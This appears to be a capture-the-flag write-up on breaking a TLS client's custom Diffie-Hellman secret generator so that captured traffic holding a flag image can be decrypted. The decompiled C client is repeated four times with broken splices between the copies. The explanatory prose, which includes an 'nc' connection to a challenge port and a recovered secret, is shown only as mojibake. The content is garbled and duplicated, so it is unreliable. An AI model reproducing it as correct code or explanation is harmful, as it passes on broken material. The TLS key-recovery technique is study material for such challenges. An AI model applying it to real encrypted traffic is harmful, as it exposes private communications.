{ v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } v11)) signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } (__int64) "ssltest.a1exdandy.me:443"); signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } n", 1uLL, 0x11uLL, stderr); signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } \ n", 1uLL, 0x12uLL, stderr); signed __int64 __fastcall main(int argc, char **argv, char **a3) { size_t v4; // rsi __int64 v5; // ST48_8 int v6; // [rsp+10h] [rbp-450h] int v7; // [rsp+14h] [rbp-44Ch] __int64 v8; // [rsp+20h] [rbp-440h] __int64 v9; // [rsp+28h] [rbp-438h] __int64 v10; // [rsp+30h] [rbp-430h] __int64 v11; // [rsp+38h] [rbp-428h] __int64 v12; // [rsp+40h] [rbp-420h] char ptr; // [rsp+50h] [rbp-410h] unsigned __int64 v14; // [rsp+458h] [rbp-8h] v14 = __readfsqword(0x28u); if ( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    рд╕рд░реНрд╡рд░ рдкрд░ рдзреНрд╡рдЬ рдХреЗ рд╕рд╛рде рдХреЛрдИ рдЪрд┐рддреНрд░ рдирд╣реАрдВ рдереЗ, рд▓реЗрдХрд┐рди рдбрдВрдк.рдХреИрдк ssl рдЯреНрд░реИрдлрд╝рд┐рдХ рдХрд╛ рдПрдХ рдЧреБрдЪреНрдЫрд╛ рд╣реИ, рд╕рдВрднрд╡рддрдГ рдЪрд┐рддреНрд░ рдХреЗ рдЯреБрдХрдбрд╝реЛрдВ рдХреЗ рд╕рд╛рдеред рд╣рд╛рд░реНрджрд┐рдХ рдХреЗ рд▓рд┐рдП рд╕рд░реНрд╡рд░ рдХреА рддреНрд╡рд░рд┐рдд рдЬрд╛рдВрдЪ рдХреЗ рдмрд╛рдж (рдпрд╛рддрд╛рдпрд╛рдд рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдирд┐рдЬреА рдХреБрдВрдЬреА рдЪреЛрд░реА рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП), рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╕рд░реНрд╡рд░ рдХрдордЬреЛрд░ рдирд╣реАрдВ рд╣реИред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, SSL рд╕рддреНрд░реЛрдВ рдореЗрдВ, рдЯреНрд░реИрдлрд╝рд┐рдХ рдбрдВрдк рдФрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдЕрдиреБрд╕рд╛рд░, DHE-RSA-AES128-SHA256 рд╕рд┐рдлрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ RSA рдХрд╛ рдЙрдкрдпреЛрдЧ рдХреЗрд╡рд▓ рд╣рд╕реНрддрд╛рдХреНрд╖рд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдЗрд╕ рдореЛрдб рдореЗрдВ рдирд┐рдЬреА RSA рд╕рд░реНрд╡рд░ рдХреБрдВрдЬреА рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдбрд┐рдлрд┐-рд╣реЗрд▓рдореИрди рд╕реНрдХреАрдо рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХреБрдВрдЬрд┐рдпреЛрдВ рдХрд╛ рдЖрджрд╛рди-рдкреНрд░рджрд╛рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред )ред


  2. рдереЛрдбрд╝рд╛ рд╕рд╛ рдкреЙрдбрдмреАрд░реНрд╕реНрдЯрд┐рд╡ рд╣реЛрдиреЗ рд╕реЗ рд╕рд░реНрд╡рд░ рдХреЛ рдлрд╛рдЗрд▓ https://ssltest.a1exdandy.me/x рдорд┐рд▓реА, рдЬреЛ рдХрд┐ рдПрдХ рд╕рд╛рдзрд╛рд░рдг рдореИрд▓рд╡реЗрдпрд░ рд╣реИ, рдЗрд╕рдореЗрдВ рдПрдбрдорд┐рди рдПрдбреНрд░реЗрд╕ рд╕реАрд╡рди 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 ZIP133737) рд╣реИред рдЬрдм рдкреЛрд░реНрдЯ 31337 рд╕реЗ рдЬреБрдбрд╝рд╛, рддреЛ рдпрд╣ рдкрддрд╛ рдЪрд▓рд╛ рдХрд┐ рд╕рд░реНрд╡рд░ 3 рдХрдорд╛рдВрдб рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдЕрддрд┐рд░рд┐рдХреНрдд рддрд░реНрдХ рдорд╛рдВрдЧрддреЗ рд╣реИрдВ


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    рд▓реЗрдХрд┐рди рдЗрд╕ рдмрдВрджрд░рдЧрд╛рд╣ рдХреЗ рд╕рд╛рде рдФрд░ рдХреБрдЫ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рдерд╛, рдФрд░ рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рдпрд╣ рдПрдХ рд╡рд┐рдЪрд▓рд┐рдд рдХрд░рдиреЗ рд╡рд╛рд▓рд╛ рдХрд╛рд░реНрдп рдерд╛ред


  3. рдЧреНрд░рд╛рд╣рдХ рдХреЛ рдзреНрдпрд╛рди рд╕реЗ рджреЗрдЦрдиреЗ рдХреЗ рдмрд╛рдж, рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐ рдпрд╣ рдПрдХ рдХрд╕реНрдЯрдо рдбрд┐рдлреА-рд╣реЗрд▓рдореИрди рд░рд╣рд╕реНрдп рдЬрдирд░реЗрдЯрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддрд╛ рд╣реИ:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    рдкреНрд░рд╛рд░рдВрдн рдореЗрдВ, рдПрдХ рдЧреБрдкреНрдд (512 рдмрд╛рдЗрдЯреНрд╕) / dev / urandom рд╕реЗ рдкрдврд╝ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдлрд╝рд╛рдЗрд▓ рд░рд╛рдЬреНрдп рдореЗрдВ рд╕рдВрдЧреНрд░рд╣реАрддред рд╣рд░ рдмрд╛рд░ рдЬрдм рдЖрдк рдПрдХ рдЧреБрдкреНрдд рдХрд╛ рдЕрдиреБрд░реЛрдз рдпрд╣рд╛рдВ рдЗрд╕ рддрд░рд╣ рдХреЗ рдЬрд╛рджреВ рд╣реИ:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    рдПрдХ рд▓рдВрдмреА рд╕рдВрдЦреНрдпрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд░рд╣рд╕реНрдп 1 рдмрд┐рдЯ рдХреЛ рдмрд╛рдИрдВ рдУрд░ рд╕реНрдерд╛рдирд╛рдВрддрд░рд┐рдд рдХрд░ рджрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рд╕рдмрд╕реЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рдмрд┐рдЯ 1 рдерд╛, рддреЛ рд╕рдВрдЦреНрдпрд╛ 5 рдЧреИрд░-рд╢реВрдиреНрдп рдмрд┐рдЯреНрд╕ (XOR) рдХреЗ рдирд┐рд░рдВрддрд░ рдкрд░ рд╣реИред



Pcap рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдореИрдВрдиреЗ рджреЗрдЦрд╛ рдХрд┐ рд╕рд░реНрд╡рд░ рд╕реЗ рдкрд╣реБрдВрдЪрдиреЗ рд╡рд╛рд▓реЗ рдбрд┐рдлреА-рд╣реЗрд▓рдореИрди рдкреИрд░рд╛рдореАрдЯрд░ рд╕реНрдерд┐рд░ рд╣реИрдВ:


 dh_g = 2 dh_p = 

рдФрд░ рд╣рд░ рдмрд╛рд░ рдЬрдм рдХреЛрдИ рдХрдиреЗрдХреНрд╢рди рд╕реНрдерд╛рдкрд┐рдд рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдбрд┐рдлреА-рд╣реЗрд▓рдореИрди рдХреЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд╣рд┐рд╕реНрд╕реЗ рдХреЛ рдЧреБрдкреНрдд рднреЗрдЬрддрд╛ рд╣реИред рдкрдбрд╝реЛрд╕реА рд╕рддреНрд░реЛрдВ рдХреЗ рд░рд╣рд╕реНрдпреЛрдВ рдХреЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рднрд╛рдЧреЛрдВ рдХреА рддреБрд▓рдирд╛ рдХрд░рдХреЗ, рдЖрдк рдЧреНрд░рд╛рд╣рдХ рдХреЗ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд░рд╣рд╕реНрдп рдХреЛ рдкреБрдирд░реНрд╕реНрдерд╛рдкрд┐рдд рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рдкреНрд░рддреНрдпреЗрдХ рдХреЗ рд▓рд┐рдП рдмрд╛рдж рдХреЗ рд╕рднреА рд░рд╣рд╕реНрдп:
рдпрджрд┐ рд░рд╣рд╕реНрдп рдХрд╛ рдЙрдЪреНрдЪрддрдо рдмрд┐рдЯ 0 рд╣реИ, рддреЛ рдЕрдЧрд▓реЗ рд╕рддреНрд░ рдореЗрдВ рд░рд╣рд╕реНрдп рдмрд╕ 2 рдЧреБрдирд╛ рдмрдбрд╝рд╛ рд╣реЛ рдЬрд╛рдПрдЧрд╛, рдФрд░ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рднрд╛рдЧ рдЪреБрдХрддрд╛ рдореЛрдбреБрд▓реЛ рдкреА рд╣реЛрдЧрд╛ред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдкреНрд░рд╛рд░рдВрднрд┐рдХ рд░рд╣рд╕реНрдп (рдЬреЛ / рджреЗрд╡ / рдЙрд░реБрдЧреНрдореЗ рд╕реЗ рдкрдврд╝рд╛ рдЧрдпрд╛ рдерд╛) рдореЛрдбреБрд▓реЛ рдкреА рдХреЛ рдмрд╣рд╛рд▓ рдХрд░рдирд╛ рд╕рдВрднрд╡ рдерд╛:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

рдФрд░ рдЗрд╕рд╕реЗ рд╕рднреА рдЕрдиреНрдп рд╕рддреНрд░реЛрдВ рдХреЗ рд▓рд┐рдП рд░рд╣рд╕реНрдпреЛрдВ рдХреА рдЧрдгрдирд╛ рдХрд░рдирд╛ рдЖрд╕рд╛рди рд╣реИред


рдФрд░ рдпрд╣рд╛рдБ рд╕рдорд╕реНрдпрд╛рдПрдВ рдереАрдВ:
рдП) рд╡рд╛рдЗрдлрд╝рд╢рд╛рд░реНрдХ рдПрд╕рдПрд╕рд╕реА рдХреЛ рдбрд┐рдХреНрд░рд┐рдкреНрдЯ рдХрд░рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдирд╣реАрдВ рд╣реИ, рдбрд┐рдлреА-рд╣реЗрд▓рдореИрди рдХреЗ рд░рд╣рд╕реНрдпреЛрдВ рдХреЛ рдЬрд╛рдирддреЗ рд╣реБрдП, рдФрд░ рдХреЛрдИ рддреИрдпрд╛рд░ рд╕рдорд╛рдзрд╛рди рдирд╣реАрдВ рдереЗред рдпрд╣ рд╕рд╛рдЭрд╛ рд░рд╣рд╕реНрдп Diffie-Hellman (рдЙрд░реНрдл рдкреВрд░реНрд╡ рд╕рддреНрд░ рд╕реНрд╡рд╛рдореА рдХреБрдВрдЬреА) рдХреА рдЧрдгрдирд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧреА рд╣реИ, рдФрд░ рдпрд╣ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрдХ рдмрдбрд╝реА рд╕рд╛рдЗрдХрд┐рд▓ рдХреА рдорджрдж рд╕реЗ рдПрдХ рдорд╛рд╕реНрдЯрд░ рдЪрд╛рдмреА рдЦреЛрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд╕рддреНрд░ (рдирд╣реАрдВ рдмрд╛рдЗрдХ рдПрд╕рдПрд╕рдПрд▓ рдХреЗ рд▓рд┐рдП рд╕реЛрдЪрд╛ рдерд╛)ред рдЗрд╕рдХреЗ рдмрд╛рдж, рдЖрдк рдПрдХ SSLKEYLOG рдлрд╝рд╛рдЗрд▓ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рд╕рдореЗрдВ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ (рдкреНрд░рддреНрдпреЗрдХ ssl рд╕рддреНрд░ рдореЗрдВ) рд▓рд┐рдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдФрд░ рдорд╛рд╕реНрдЯрд░ рдХреБрдВрдЬреА, рдЗрд╕реЗ SSL рдбрд┐рдХреНрд░рд┐рдкреНрд╢рди рдФрд░ рд╕реИрджреНрдзрд╛рдВрддрд┐рдХ рд░реВрдк рд╕реЗ рд▓рд╛рдн рдХреЗ рд▓рд┐рдП рд╡рд╛рдпрд░рд╢рд░реНрдХ рд╕реЗрдЯрд┐рдВрдЧреНрд╕ рдореЗрдВ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░реЗрдВред


рд▓реЗрдХрд┐рди рдХреБрдЫ рдФрд░ рд╕рдорд╕реНрдпрд╛рдПрдВ рд╕рд╛рдордиреЗ рдЖрдИрдВ:
рдмреА) PHP рдмрд╣реБрдд рдзреАрдореА рдЧрддрд┐ рд╕реЗ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИ ( bcadd , bcpowmod рдлрд╝рдВрдХреНрд╢рдВрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ ...), рдореИрдВрдиреЗ рдЗрд╕реЗ рдЕрдЬрдЧрд░ рдореЗрдВ рдлрд┐рд░ рд╕реЗ рд▓рд┐рдЦрдиреЗ рдХрд╛ рдлреИрд╕рд▓рд╛ рдХрд┐рдпрд╛ред
рд╕реА) рд╕реВрддреНрд░ рдордиреБрд╖реНрдп рдХреЗ рд░реВрдк рдореЗрдВ рд╕реНрд╡рд╛рдореА рдХреБрдВрдЬреА рдкреВрд░реНрд╡ рд╕реНрд╡рд╛рдореА рдХреБрдВрдЬреА рдкрд░ рдирд╣реАрдВ рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХрд╛, sortsy ssl рдкреНрд░рджрд░реНрд╢рд┐рдд openssl рдордзреНрдпрд╡рд░реНрддреА рдЧрдгрдирд╛ рдХреЗ рдкрд░рд┐рдгрд╛рдо рднреА рд╡рд┐рдлрд▓ рд░рд╣рд╛ рд╣реИ рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдореЗрд╣рдирдд рд╕реЗ рд╕рдордЭрд╛ред рдкрд░рд┐рдгрд╛рдорд╕реНрд╡рд░реВрдк, рдореИрдВрдиреЗ рдЗрд╕ рдХреЛрдб , рд╡рд┐рд╡рд░рдг рдФрд░ рдХреБрдЫ рдкреНрд░рдХрд╛рд░ рдХреЗ RFC рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛:


рдирддреАрдЬрддрди, рдЖрдзреЗ рджрд┐рди рдХреЗ рдмрд╛рдж рдореИрдВ рдЗрд╕реЗ рдмрдирд╛рдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рдерд╛ (рдореЗрд░реЗ рд▓рд┐рдП, рдпрд╣ рд╕рд╛рдЗрдХрд┐рд▓ рдХреЗ рдмрд┐рдирд╛ рдирд╣реАрдВ рдХрд░ рд╕рдХрддрд╛):


